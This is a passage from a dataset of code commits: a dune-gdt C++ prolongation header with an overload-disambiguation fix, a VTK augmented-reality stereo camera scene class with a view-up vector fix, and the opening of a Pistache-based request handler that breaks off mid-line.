(usually coarser) GridView onto another (usually finer) one [creates\n * suitable target_function with same VectorType as source, uses target.space().grid_view() as\n * prolongation_grid_view].\n *\/\ntemplate <class V, class SGV, size_t r, size_t rC, class SR, class TGV, class TR>\nDiscreteFunction<V, TGV, r, rC, TR> prolong(const DiscreteFunction<V, SGV, r, rC, SR>& source,\n const SpaceInterface<TGV, r, rC, TR>& target_space)\n{\n auto target_function = make_discrete_function<V>(target_space);\n prolong(source, target_function);\n return target_function;\n}\n\n\n\/\/ ## Variants for a DiscreteBochnerFunction ##\n\n\n\/**\n * \\brief Prolongs a DiscreteBochnerFunction from one (usually coarser) time grid onto another (usually finer) one [most\n * general variant].\n *\n * \\note Uses prolong() in space.\n *\n * \\sa prolong\n * \\sa interpolate\n * \\sa reinterpret\n *\/\ntemplate <class SV, class SGV, size_t r, size_t rC, class R, class TV, class TGV, class PGV>\nvoid prolong(const DiscreteBochnerFunction<SV, SGV, r, rC, R>& source,\n DiscreteBochnerFunction<TV, TGV, r, rC, R>& target,\n const GridView<PGV>& spatial_prolongation_grid_view)\n{\n \/\/ prepare\n const auto& temporal_space = target.space().temporal_space();\n DynamicVector<size_t> local_dof_indices(temporal_space.mapper().max_local_size());\n std::vector<bool> dof_has_been_handled(temporal_space.mapper().size(), false);\n \/\/ walk the time intervals\n for (auto&& time_interval : elements(temporal_space.grid_view())) {\n temporal_space.mapper().global_indices(time_interval, local_dof_indices);\n const auto& lagrange_points_in_time =\n temporal_space.finite_element(time_interval.geometry().type()).lagrange_points();\n for (size_t ii = 0; ii < lagrange_points_in_time.size(); ++ii) {\n const size_t global_dof_index = local_dof_indices[ii];\n if (!dof_has_been_handled[global_dof_index]) {\n const auto& point_in_time = time_interval.geometry().global(lagrange_points_in_time[ii]);\n \/\/ evaluate in time\n const auto coarse_spatial_function = source.evaluate(point_in_time);\n \/\/ prolong in space\n auto fine_spatial_function =\n make_discrete_function(target.space().spatial_space(), target.dof_vectors()[global_dof_index].vector());\n prolong(coarse_spatial_function, fine_spatial_function, spatial_prolongation_grid_view);\n dof_has_been_handled[global_dof_index] = true;\n }\n }\n }\n} \/\/ ... prolong(...)\n\n\n\/**\n * \\brief Prolongs a DiscreteBochnerFunction from one (usually coarser) time grid onto another (usually finer) one [uses\n * target.space().spatial_space().grid_view() as spatial_prolongation_grid_view].\n *\n * \\note Uses prolong() in space.\n *\n * \\sa prolong\n * \\sa interpolate\n * \\sa reinterpret\n *\/\ntemplate <class SV, class SGV, size_t r, size_t rC, class R, class TV, class TGV>\nvoid prolong(const DiscreteBochnerFunction<SV, SGV, r, rC, R>& source,\n DiscreteBochnerFunction<TV, TGV, r, rC, R>& target)\n{\n prolong(source, target, target.space().spatial_space().grid_view());\n}\n\n\n\/**\n * \\brief Prolongs a DiscreteBochnerFunction from one (usually coarser) time grid onto another (usually finer) one\n * [creates suitable target_function, TargetVectorType has to be provided].\n *\n * Use as in\n\\code\nauto target_function = prolong<TargetVectorType>(source, target_space, spatial_prolongation_grid_view);\n\\endcode\n *\/\ntemplate <class TargetVectorType, class SV, class SGV, size_t r, size_t rC, class R, class TGV, class PGV>\nstd::enable_if_t<\n XT::LA::is_vector<TargetVectorType>::value\n && std::is_same<XT::Grid::extract_entity_t<TGV>, typename PGV::Grid::template Codim<0>::Entity>::value,\n DiscreteBochnerFunction<TargetVectorType, TGV, r, rC, R>>\nprolong(const DiscreteBochnerFunction<SV, SGV, r, rC, R>& source,\n const BochnerSpace<TGV, r, rC, R>& target_space,\n const GridView<PGV>& spatial_prolongation_grid_view)\n{\n auto target_function = make_discrete_bochner_function<TargetVectorType>(target_space);\n prolong(source, target_function, spatial_prolongation_grid_view);\n return target_function;\n}\n\n\ntemplate <class TargetVectorType, class SV, class SGV, size_t r, size_t rC, class R, class TGV>\nstd::enable_if_t<XT::LA::is_vector<TargetVectorType>::value, DiscreteBochnerFunction<TargetVectorType, TGV, r, rC, R>>\nprolong(const DiscreteBochnerFunction<SV, SGV, r, rC, R>& source, const BochnerSpace<TGV, r, rC, R>& target_space)\n{\n return prolong<TargetVectorType>(source, target_space, target_space.spatial_space().grid_view());\n}\n\n\n} \/\/ namespace GDT\n} \/\/ namespace Dune\n\n#endif \/\/ DUNE_GDT_PROLONGATIONS_HH\n<commit_msg>[prolongations] fix ambiguouity<commit_after>\/\/ This file is part of the dune-gdt project:\n\/\/ https:\/\/github.com\/dune-community\/dune-gdt\n\/\/ Copyright 2010-2018 dune-gdt developers and contributors. All rights reserved.\n\/\/ License: Dual licensed as BSD 2-Clause License (http:\/\/opensource.org\/licenses\/BSD-2-Clause)\n\/\/ or GPL-2.0+ (http:\/\/opensource.org\/licenses\/gpl-license)\n\/\/ with \"runtime exception\" (http:\/\/www.dune-project.org\/license.html)\n\/\/ Authors:\n\/\/ Felix Schindler (2013 - 2018)\n\/\/ René Fritze (2014, 2016, 2018)\n\/\/ René Milk (2017)\n\/\/ Tobias Leibner (2014, 2016)\n\n#ifndef DUNE_GDT_PROLONGATIONS_HH\n#define DUNE_GDT_PROLONGATIONS_HH\n\n#include <vector>\n\n#include <dune\/common\/dynvector.hh>\n\n#include <dune\/xt\/la\/container\/vector-interface.hh>\n\n#include <dune\/gdt\/discretefunction\/bochner.hh>\n#include <dune\/gdt\/discretefunction\/default.hh>\n#include <dune\/gdt\/discretefunction\/reinterpret.hh>\n#include <dune\/gdt\/interpolations.hh>\n#include <dune\/gdt\/spaces\/bochner.hh>\n#include <dune\/gdt\/spaces\/interface.hh>\n\nnamespace Dune {\nnamespace GDT {\n\n\n\/\/ ## Variants for a DiscreteFunction ##\n\n\n\/**\n * \\brief Prolongs a DiscreteFunction from one (usually coarser) GridView onto another (usually finer) one [most general\n * variant].\n *\n * \\note This does not clear target.dofs().vector(). Thus, if prolongation_grid_view only covers a part of the domain of\n * target.space().grid_view(), other contributions in target remain (which is on purpose).\n *\n * \\sa interpolate\n * \\sa reinterpret\n *\/\ntemplate <class SV, class SGV, size_t r, size_t rC, class SR, class TV, class TGV, class TR, class PGV>\nstd::enable_if_t<std::is_same<XT::Grid::extract_entity_t<TGV>, typename PGV::Grid::template Codim<0>::Entity>::value,\n void>\nprolong(const DiscreteFunction<SV, SGV, r, rC, SR>& source,\n DiscreteFunction<TV, TGV, r, rC, TR>& target,\n const GridView<PGV>& prolongation_grid_view)\n{\n interpolate(reinterpret(source, prolongation_grid_view), target, prolongation_grid_view);\n}\n\n\n\/**\n * \\brief Prolongs a DiscreteFunction from one (usually coarser) GridView onto another (usually finer) one [uses\n * target.space().grid_view() as prolongation_grid_view].\n *\/\ntemplate <class SV, class SGV, size_t r, size_t rC, class SR, class TV, class TGV, class TR>\nvoid prolong(const DiscreteFunction<SV, SGV, r, rC, SR>& source, DiscreteFunction<TV, TGV, r, rC, TR>& target)\n{\n prolong(source, target, target.space().grid_view());\n}\n\n\n\/**\n * \\brief Prolongs a DiscreteFunction from one (usually coarser) GridView onto another (usually finer) one [creates\n * suitable target_function, TargetVectorType has to be provided].\n *\n * Use as in\n\\code\nauto target_function = prolong<TargetVectorType>(source, target_space, prolongation_grid_view);\n\\endcode\n *\/\ntemplate <class TargetVectorType, class SV, class SGV, size_t r, size_t rC, class SR, class TGV, class TR, class PGV>\nstd::enable_if_t<\n XT::LA::is_vector<TargetVectorType>::value\n && std::is_same<XT::Grid::extract_entity_t<TGV>, typename PGV::Grid::template Codim<0>::Entity>::value,\n DiscreteFunction<TargetVectorType, TGV, r, rC, TR>>\nprolong(const DiscreteFunction<SV, SGV, r, rC, SR>& source,\n const SpaceInterface<TGV, r, rC, TR>& target_space,\n const GridView<PGV>& prolongation_grid_view)\n{\n auto target_function = make_discrete_function<TargetVectorType>(target_space);\n prolong(source, target_function, prolongation_grid_view);\n return target_function;\n}\n\n\n\/**\n * \\brief Prolongs a DiscreteFunction from one (usually coarser) GridView onto another (usually finer) one [creates\n * suitable target_function, TargetVectorType has to be provided, uses target.space().grid_view() as\n * prolongation_grid_view].\n *\n * Use as in\n\\code\nauto target_function = prolong<TargetVectorType>(source, target_space);\n\\endcode\n *\/\ntemplate <class TargetVectorType, class SV, class SGV, size_t r, size_t rC, class SR, class TGV, class TR>\nstd::enable_if_t<XT::LA::is_vector<TargetVectorType>::value, DiscreteFunction<TargetVectorType, TGV, r, rC, TR>>\nprolong(const DiscreteFunction<SV, SGV, r, rC, SR>& source, const SpaceInterface<TGV, r, rC, TR>& target_space)\n{\n auto target_function = make_discrete_function<TargetVectorType>(target_space);\n prolong(source, target_function);\n return target_function;\n}\n\n\n\/**\n * \\brief Prolongs a DiscreteFunction from one (usually coarser) GridView onto another (usually finer) one [creates\n * suitable target_function with same VectorType as source].\n *\/\ntemplate <class V, class SGV, size_t r, size_t rC, class SR, class TGV, class TR, class PGV>\nstd::enable_if_t<std::is_same<XT::Grid::extract_entity_t<TGV>, typename PGV::Grid::template Codim<0>::Entity>::value,\n DiscreteFunction<V, TGV, r, rC, TR>>\nprolong(const DiscreteFunction<V, SGV, r, rC, SR>& source,\n const SpaceInterface<TGV, r, rC, TR>& target_space,\n const GridView<PGV>& prolongation_grid_view)\n{\n auto target_function = make_discrete_function<V>(target_space);\n prolong(source, target_function, prolongation_grid_view);\n return target_function;\n}\n\n\n\/**\n * \\brief Prolongs a DiscreteFunction from one (usually coarser) GridView onto another (usually finer) one [creates\n * suitable target_function with same VectorType as source, uses target.space().grid_view() as\n * prolongation_grid_view].\n *\/\n\/\/ we require the enable_if for disambigouation with a variant above\ntemplate <class SGV, class V, size_t r, size_t rC, class SR, class TGV, class TR>\nstd::enable_if_t<!XT::LA::is_vector<SGV>::value, DiscreteFunction<V, TGV, r, rC, TR>>\nprolong(const DiscreteFunction<V, SGV, r, rC, SR>& source, const SpaceInterface<TGV, r, rC, TR>& target_space)\n{\n auto target_function = make_discrete_function<V>(target_space);\n prolong(source, target_function);\n return target_function;\n}\n\n\n\/\/ ## Variants for a DiscreteBochnerFunction ##\n\n\n\/**\n * \\brief Prolongs a DiscreteBochnerFunction from one (usually coarser) time grid onto another (usually finer) one [most\n * general variant].\n *\n * \\note Uses prolong() in space.\n *\n * \\sa prolong\n * \\sa interpolate\n * \\sa reinterpret\n *\/\ntemplate <class SV, class SGV, size_t r, size_t rC, class R, class TV, class TGV, class PGV>\nvoid prolong(const DiscreteBochnerFunction<SV, SGV, r, rC, R>& source,\n DiscreteBochnerFunction<TV, TGV, r, rC, R>& target,\n const GridView<PGV>& spatial_prolongation_grid_view)\n{\n \/\/ prepare\n const auto& temporal_space = target.space().temporal_space();\n DynamicVector<size_t> local_dof_indices(temporal_space.mapper().max_local_size());\n std::vector<bool> dof_has_been_handled(temporal_space.mapper().size(), false);\n \/\/ walk the time intervals\n for (auto&& time_interval : elements(temporal_space.grid_view())) {\n temporal_space.mapper().global_indices(time_interval, local_dof_indices);\n const auto& lagrange_points_in_time =\n temporal_space.finite_element(time_interval.geometry().type()).lagrange_points();\n for (size_t ii = 0; ii < lagrange_points_in_time.size(); ++ii) {\n const size_t global_dof_index = local_dof_indices[ii];\n if (!dof_has_been_handled[global_dof_index]) {\n const auto& point_in_time = time_interval.geometry().global(lagrange_points_in_time[ii]);\n \/\/ evaluate in time\n const auto coarse_spatial_function = source.evaluate(point_in_time);\n \/\/ prolong in space\n auto fine_spatial_function =\n make_discrete_function(target.space().spatial_space(), target.dof_vectors()[global_dof_index].vector());\n prolong(coarse_spatial_function, fine_spatial_function, spatial_prolongation_grid_view);\n dof_has_been_handled[global_dof_index] = true;\n }\n }\n }\n} \/\/ ... prolong(...)\n\n\n\/**\n * \\brief Prolongs a DiscreteBochnerFunction from one (usually coarser) time grid onto another (usually finer) one [uses\n * target.space().spatial_space().grid_view() as spatial_prolongation_grid_view].\n *\n * \\note Uses prolong() in space.\n *\n * \\sa prolong\n * \\sa interpolate\n * \\sa reinterpret\n *\/\ntemplate <class SV, class SGV, size_t r, size_t rC, class R, class TV, class TGV>\nvoid prolong(const DiscreteBochnerFunction<SV, SGV, r, rC, R>& source,\n DiscreteBochnerFunction<TV, TGV, r, rC, R>& target)\n{\n prolong(source, target, target.space().spatial_space().grid_view());\n}\n\n\n\/**\n * \\brief Prolongs a DiscreteBochnerFunction from one (usually coarser) time grid onto another (usually finer) one\n * [creates suitable target_function, TargetVectorType has to be provided].\n *\n * Use as in\n\\code\nauto target_function = prolong<TargetVectorType>(source, target_space, spatial_prolongation_grid_view);\n\\endcode\n *\/\ntemplate <class TargetVectorType, class SV, class SGV, size_t r, size_t rC, class R, class TGV, class PGV>\nstd::enable_if_t<\n XT::LA::is_vector<TargetVectorType>::value\n && std::is_same<XT::Grid::extract_entity_t<TGV>, typename PGV::Grid::template Codim<0>::Entity>::value,\n DiscreteBochnerFunction<TargetVectorType, TGV, r, rC, R>>\nprolong(const DiscreteBochnerFunction<SV, SGV, r, rC, R>& source,\n const BochnerSpace<TGV, r, rC, R>& target_space,\n const GridView<PGV>& spatial_prolongation_grid_view)\n{\n auto target_function = make_discrete_bochner_function<TargetVectorType>(target_space);\n prolong(source, target_function, spatial_prolongation_grid_view);\n return target_function;\n}\n\n\ntemplate <class TargetVectorType, class SV, class SGV, size_t r, size_t rC, class R, class TGV>\nstd::enable_if_t<XT::LA::is_vector<TargetVectorType>::value, DiscreteBochnerFunction<TargetVectorType, TGV, r, rC, R>>\nprolong(const DiscreteBochnerFunction<SV, SGV, r, rC, R>& source, const BochnerSpace<TGV, r, rC, R>& target_space)\n{\n return prolong<TargetVectorType>(source, target_space, target_space.spatial_space().grid_view());\n}\n\n\n} \/\/ namespace GDT\n} \/\/ namespace Dune\n\n#endif \/\/ DUNE_GDT_PROLONGATIONS_HH\n<|endoftext|>"} {"text":"<commit_before>#include \"vtkVuzixARScene.h\"\n#include \"vtkObjectFactory.h\"\n\nvtkStandardNewMacro(vtkVuzixARScene);\n\nvtkVuzixARScene::vtkVuzixARScene(){\n\n\t\/\/allocates the piece of the compilation\n\tleftEyeRenderer = vtkRenderer::New();\n\trightEyeRenderer = vtkRenderer::New();\n\tleftEyeCamera = vtkVuzixARCamera::New();\n\tleftEyeRenderer->SetActiveCamera(leftEyeCamera);\n\trightEyeCamera = vtkVuzixARCamera::New();\n\trightEyeRenderer->SetActiveCamera(rightEyeCamera);\n\n\t\/\/allocate the texture bases for the renderers and link them together\n\tleftEyePhysicalWorld = 0;\n\tleftEyeTexture = vtkTexture::New();\n\tleftEyeRenderer->SetBackgroundTexture( leftEyeTexture );\n\tleftEyeRenderer->SetTexturedBackground( true );\n\trightEyePhysicalWorld = 0;\n\trightEyeTexture = vtkTexture::New();\n\trightEyeRenderer->SetBackgroundTexture( rightEyeTexture );\n\trightEyeRenderer->SetTexturedBackground( true );\n\n\t\/\/set some defaults for the poses\n\ttrackedDevice = vtkTransform::New();\n\ttrackedDevice->Identity();\n\tdeviceToLeftEye = vtkTransform::New();\n\tdeviceToLeftEye->Identity();\n\tdeviceToRightEye = vtkTransform::New();\n\tdeviceToRightEye->Identity();\n\n\t\/\/allocate space for the temporary variables\n\tleftFocalPoint = vtkTransform::New();\n\tleftFocalPoint->PostMultiply();\n\trightFocalPoint = vtkTransform::New();\n\trightFocalPoint->PostMultiply();\n\t\n\tIdealLeftFocus = 1.0;\n\tIdealRightFocus = 1.0;\n\n}\n\nvtkVuzixARScene::~vtkVuzixARScene(){\n\tleftEyeTexture->Delete();\n\trightEyeTexture->Delete();\n\tleftEyeRenderer->Delete();\n\trightEyeRenderer->Delete();\n\tleftEyeCamera->Delete();\n\trightEyeCamera->Delete();\n\tleftFocalPoint->Delete();\n\trightFocalPoint->Delete();\n\tdeviceToLeftEye->Delete();\n\tdeviceToRightEye->Delete();\n}\n\n\nvoid vtkVuzixARScene::Update(){\n\n\t\/\/update the frame sizes\n\tUpdateFrameSizes();\n\n\t\/\/tell the cameras that they have been modified\n\tleftEyeCamera->Modified();\n\trightEyeCamera->Modified();\n}\n\n\/\/update the frame sizes on the cameras (used for determining the projection matrix)\nvoid vtkVuzixARScene::UpdateFrameSizes(){\n\tif( leftEyePhysicalWorld ){\n\t\tint extent[6];\n\t\tthis->leftEyePhysicalWorld->GetExtent( extent );\n\t\tthis->leftEyeCamera->SetFrameSize(\t(double) (extent[1] - extent[0]+1),\n\t\t\t\t\t\t\t\t\t\t\t(double) (extent[3] - extent[2]+1) );\n\t}\n\tif( rightEyePhysicalWorld ){\n\t\tint extent[6];\n\t\tthis->rightEyePhysicalWorld->GetExtent( extent );\n\t\tthis->rightEyeCamera->SetFrameSize(\t(double) (extent[1] - extent[0]+1),\n\t\t\t\t\t\t\t\t\t\t\t(double) (extent[3] - extent[2]+1) );\n\t}\n}\n\nvtkRenderer* vtkVuzixARScene::GetLeftEyeView(){\n\treturn leftEyeRenderer;\n}\n\nvtkRenderer* vtkVuzixARScene::GetRightEyeView(){\n\treturn rightEyeRenderer;\n}\n\nvoid vtkVuzixARScene::SetLeftEyeSource( vtkImageData* eye ){\n\tthis->leftEyeTexture->SetInput( (vtkDataObject*) eye );\n\tleftEyePhysicalWorld = eye;\n}\n\nvoid vtkVuzixARScene::SetRightEyeSource( vtkImageData* eye ){\n\tthis->rightEyeTexture->SetInput( (vtkDataObject*) eye );\n\trightEyePhysicalWorld = eye;\n\n}\n\nvoid vtkVuzixARScene::SetTrackedTransform( vtkTransform* t){\n\ttrackedDevice = t;\n\tleftEyeCamera->SetUserTransform(t);\n\trightEyeCamera->SetUserTransform(t);\n}\n\nvoid vtkVuzixARScene::SetLeftEyeTransform( vtkTransform* t){\n\tdeviceToLeftEye = t;\n\tdeviceToLeftEye->Inverse();\n\n\t\/\/find the focal point of the left camera\n\tleftFocalPoint->Identity();\n\tleftFocalPoint->Translate( 0, 0, IdealLeftFocus );\n\tleftFocalPoint->Concatenate( deviceToLeftEye );\n\n\t\/\/apply the poses to the camera\n\tleftEyeCamera->SetPosition( deviceToLeftEye->GetPosition() );\n\tleftEyeCamera->SetFocalPoint( leftFocalPoint->GetPosition() );\n\tleftEyeCamera->OrthogonalizeViewUp();\n\n}\n\nvoid vtkVuzixARScene::SetRightEyeTransform( vtkTransform* t){\n\tdeviceToRightEye = t;\n\tdeviceToRightEye->Inverse();\n\n\t\/\/find the focal point of the right camera\n\trightFocalPoint->Identity();\n\trightFocalPoint->Translate( 0, 0, IdealRightFocus );\n\trightFocalPoint->Concatenate( deviceToRightEye );\n\t\n\t\/\/apply the poses to the camera\n\trightEyeCamera->SetPosition( deviceToRightEye->GetPosition() );\n\trightEyeCamera->SetFocalPoint( rightFocalPoint->GetPosition() );\n\trightEyeCamera->OrthogonalizeViewUp();\n}\n\nvoid vtkVuzixARScene::SetLeftEyePixelwiseIntrinsicParameters(\tdouble fx,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdouble fy,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdouble cx,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdouble cy ){\n\tthis->leftEyeCamera->SetPixelwiseIntrinsicParameters(fx,fy,cx,cy);\n\tIdealLeftFocus = 0.5 * (fx + fy);\n\n\t\/\/find the focal point of the left camera\n\tleftFocalPoint->Identity();\n\tleftFocalPoint->Translate( 0, 0, IdealLeftFocus );\n\tleftFocalPoint->Concatenate( deviceToLeftEye );\n\n\t\/\/apply the poses to the camera\n\tleftEyeCamera->SetPosition( deviceToLeftEye->GetPosition() );\n\tleftEyeCamera->SetFocalPoint( leftFocalPoint->GetPosition() );\n\tleftEyeCamera->OrthogonalizeViewUp();\n}\n\nvoid vtkVuzixARScene::SetRightEyePixelwiseIntrinsicParameters(\tdouble fx,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdouble fy,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdouble cx,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdouble cy ){\n\tthis->rightEyeCamera->SetPixelwiseIntrinsicParameters(fx,fy,cx,cy);\n\tIdealRightFocus = 0.5 * (fx + fy);\n\n\t\/\/find the focal point of the right camera\n\trightFocalPoint->Identity();\n\trightFocalPoint->Translate( 0, 0, IdealRightFocus );\n\trightFocalPoint->Concatenate( deviceToRightEye );\n\t\n\t\/\/apply the poses to the camera\n\trightEyeCamera->SetPosition( deviceToRightEye->GetPosition() );\n\trightEyeCamera->SetFocalPoint( rightFocalPoint->GetPosition() );\n\trightEyeCamera->OrthogonalizeViewUp();\n}<commit_msg>Fixed bad view-up vector. Can't use OrthogonalizeViewUp because it gives faulty vector.<commit_after>#include \"vtkVuzixARScene.h\"\n#include \"vtkObjectFactory.h\"\n\nvtkStandardNewMacro(vtkVuzixARScene);\n\nvtkVuzixARScene::vtkVuzixARScene(){\n\n\t\/\/allocates the piece of the compilation\n\tleftEyeRenderer = vtkRenderer::New();\n\trightEyeRenderer = vtkRenderer::New();\n\tleftEyeCamera = vtkVuzixARCamera::New();\n\tleftEyeRenderer->SetActiveCamera(leftEyeCamera);\n\trightEyeCamera = vtkVuzixARCamera::New();\n\trightEyeRenderer->SetActiveCamera(rightEyeCamera);\n\n\t\/\/allocate the texture bases for the renderers and link them together\n\tleftEyePhysicalWorld = 0;\n\tleftEyeTexture = vtkTexture::New();\n\tleftEyeRenderer->SetBackgroundTexture( leftEyeTexture );\n\tleftEyeRenderer->SetTexturedBackground( true );\n\trightEyePhysicalWorld = 0;\n\trightEyeTexture = vtkTexture::New();\n\trightEyeRenderer->SetBackgroundTexture( rightEyeTexture );\n\trightEyeRenderer->SetTexturedBackground( true );\n\n\t\/\/set some defaults for the poses\n\ttrackedDevice = vtkTransform::New();\n\ttrackedDevice->Identity();\n\tdeviceToLeftEye = vtkTransform::New();\n\tdeviceToLeftEye->Identity();\n\tdeviceToRightEye = vtkTransform::New();\n\tdeviceToRightEye->Identity();\n\n\t\/\/allocate space for the temporary variables\n\tleftFocalPoint = vtkTransform::New();\n\tleftFocalPoint->PostMultiply();\n\trightFocalPoint = vtkTransform::New();\n\trightFocalPoint->PostMultiply();\n\n\t\/\/give default values to the focal parameters\n\tIdealLeftFocus = 1.0;\n\tIdealRightFocus = 1.0;\n\n}\n\nvtkVuzixARScene::~vtkVuzixARScene(){\n\tleftEyeTexture->Delete();\n\trightEyeTexture->Delete();\n\tleftEyeRenderer->Delete();\n\trightEyeRenderer->Delete();\n\tleftEyeCamera->Delete();\n\trightEyeCamera->Delete();\n\tleftFocalPoint->Delete();\n\trightFocalPoint->Delete();\n\tdeviceToLeftEye->Delete();\n\tdeviceToRightEye->Delete();\n}\n\n\nvoid vtkVuzixARScene::Update(){\n\n\t\/\/update the frame sizes\n\tUpdateFrameSizes();\n\n\t\/\/tell the cameras that they have been modified\n\tleftEyeCamera->Modified();\n\trightEyeCamera->Modified();\n}\n\n\/\/update the frame sizes on the cameras (used for determining the projection matrix)\nvoid vtkVuzixARScene::UpdateFrameSizes(){\n\tif( leftEyePhysicalWorld ){\n\t\tint extent[6];\n\t\tthis->leftEyePhysicalWorld->GetExtent( extent );\n\t\tthis->leftEyeCamera->SetFrameSize(\t(double) (extent[1] - extent[0]+1),\n\t\t\t\t\t\t\t\t\t\t\t(double) (extent[3] - extent[2]+1) );\n\t}\n\tif( rightEyePhysicalWorld ){\n\t\tint extent[6];\n\t\tthis->rightEyePhysicalWorld->GetExtent( extent );\n\t\tthis->rightEyeCamera->SetFrameSize(\t(double) (extent[1] - extent[0]+1),\n\t\t\t\t\t\t\t\t\t\t\t(double) (extent[3] - extent[2]+1) );\n\t}\n}\n\nvtkRenderer* vtkVuzixARScene::GetLeftEyeView(){\n\treturn leftEyeRenderer;\n}\n\nvtkRenderer* vtkVuzixARScene::GetRightEyeView(){\n\treturn rightEyeRenderer;\n}\n\nvoid vtkVuzixARScene::SetLeftEyeSource( vtkImageData* eye ){\n\tthis->leftEyeTexture->SetInput( (vtkDataObject*) eye );\n\tleftEyePhysicalWorld = eye;\n}\n\nvoid vtkVuzixARScene::SetRightEyeSource( vtkImageData* eye ){\n\tthis->rightEyeTexture->SetInput( (vtkDataObject*) eye );\n\trightEyePhysicalWorld = eye;\n\n}\n\nvoid vtkVuzixARScene::SetTrackedTransform( vtkTransform* t){\n\ttrackedDevice = t;\n\tleftEyeCamera->SetUserTransform(t);\n\trightEyeCamera->SetUserTransform(t);\n}\n\nvoid vtkVuzixARScene::SetLeftEyeTransform( vtkTransform* t){\n\tdeviceToLeftEye = t;\n\tdeviceToLeftEye->Inverse();\n\n\t\/\/find the focal point of the left camera\n\tleftFocalPoint->Identity();\n\tleftFocalPoint->Translate( 0, 0, IdealLeftFocus );\n\tleftFocalPoint->Concatenate( deviceToLeftEye );\n\t\n\t\/\/find the viewUp vector and position of the left camera\n\tdouble* leftViewUp = deviceToLeftEye->TransformDoublePoint(0,-1,0);\n\tdouble leftPosition[3];\n\tdeviceToLeftEye->GetPosition(leftPosition);\n\tleftViewUp[0] -= leftPosition[0];\n\tleftViewUp[1] -= leftPosition[1];\n\tleftViewUp[2] -= leftPosition[2];\n\n\t\/\/apply the poses to the camera\n\tleftEyeCamera->SetPosition( leftPosition );\n\tleftEyeCamera->SetViewUp( leftViewUp );\n\tleftEyeCamera->SetFocalPoint( leftFocalPoint->GetPosition() );\n\n}\n\nvoid vtkVuzixARScene::SetRightEyeTransform( vtkTransform* t){\n\tdeviceToRightEye = t;\n\tdeviceToRightEye->Inverse();\n\n\t\/\/find the focal point of the right camera\n\trightFocalPoint->Identity();\n\trightFocalPoint->Translate( 0, 0, IdealRightFocus );\n\trightFocalPoint->Concatenate( deviceToRightEye );\n\t\n\t\/\/find the viewUp vector and position of the right camera\n\tdouble* rightViewUp = deviceToRightEye->TransformDoublePoint(0,-1,0);\n\tdouble rightPosition[3];\n\tdeviceToRightEye->GetPosition(rightPosition);\n\trightViewUp[0] -= rightPosition[0];\n\trightViewUp[1] -= rightPosition[1];\n\trightViewUp[2] -= rightPosition[2];\n\n\t\/\/apply the poses to the camera\n\trightEyeCamera->SetPosition( rightPosition );\n\trightEyeCamera->SetViewUp( rightViewUp );\n\trightEyeCamera->SetFocalPoint( rightFocalPoint->GetPosition() );\n}\n\nvoid vtkVuzixARScene::SetLeftEyePixelwiseIntrinsicParameters(\tdouble fx,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdouble fy,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdouble cx,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdouble cy ){\n\tthis->leftEyeCamera->SetPixelwiseIntrinsicParameters(fx,fy,cx,cy);\n\tIdealLeftFocus = 0.5 * (fx+fy);\n\n\t\/\/find the focal point of the left camera\n\tleftFocalPoint->Identity();\n\tleftFocalPoint->Translate( 0, 0, IdealLeftFocus );\n\tleftFocalPoint->Concatenate( deviceToLeftEye );\n\t\n\t\/\/find the viewUp vector and position of the left camera\n\tdouble* leftViewUp = deviceToLeftEye->TransformDoublePoint(0,-1,0);\n\tdouble leftPosition[3];\n\tdeviceToLeftEye->GetPosition(leftPosition);\n\tleftViewUp[0] -= leftPosition[0];\n\tleftViewUp[1] -= leftPosition[1];\n\tleftViewUp[2] -= leftPosition[2];\n\n\t\/\/apply the poses to the camera\n\tleftEyeCamera->SetPosition( leftPosition );\n\tleftEyeCamera->SetViewUp( leftViewUp );\n\tleftEyeCamera->SetFocalPoint( leftFocalPoint->GetPosition() );\n}\n\nvoid vtkVuzixARScene::SetRightEyePixelwiseIntrinsicParameters(\tdouble fx,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdouble fy,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdouble cx,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdouble cy ){\n\tthis->rightEyeCamera->SetPixelwiseIntrinsicParameters(fx,fy,cx,cy);\n\tIdealRightFocus = 0.5 * (fx+fy);\n\n\t\/\/find the focal point of the right camera\n\trightFocalPoint->Identity();\n\trightFocalPoint->Translate( 0, 0, IdealRightFocus );\n\trightFocalPoint->Concatenate( deviceToRightEye );\n\t\n\t\/\/find the viewUp vector and position of the right camera\n\tdouble* rightViewUp = deviceToRightEye->TransformDoublePoint(0,-1,0);\n\tdouble rightPosition[3];\n\tdeviceToRightEye->GetPosition(rightPosition);\n\trightViewUp[0] -= rightPosition[0];\n\trightViewUp[1] -= rightPosition[1];\n\trightViewUp[2] -= rightPosition[2];\n\n\t\/\/apply the poses to the camera\n\trightEyeCamera->SetPosition( rightPosition );\n\trightEyeCamera->SetViewUp( rightViewUp );\n\trightEyeCamera->SetFocalPoint( rightFocalPoint->GetPosition() );\n\n}<|endoftext|>"} {"text":"<commit_before>\/*\n* Copyright 2020 Google LLC\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n#include \"request_handler.h\"\n\n#include <vector>\n#include <sstream>\n\nnamespace wireless_android_play_analytics {\n\nvoid RequestHandler::GetLastRefreshed(const Pistache::Rest::Request& request, \n Pistache::Http::ResponseWriter response) {\n \/\/ Information within the request is unnecessary.\n UNUSED(request);\n response.send(Pistache::Http::Code::Ok, \"Wed May 19 15:46:11 2020\");\n}\n\nvoid RequestHandler::GetDashboard(const Pistache::Rest::Request& request, \n Pistache::Http::ResponseWriter response) {\n \/\/ TODO(alexanderlin): Use real data once I get access to them.\n std::vector<std::string> dataSources {\"SPAM\", \"PLAY_COUNTRY\", \n 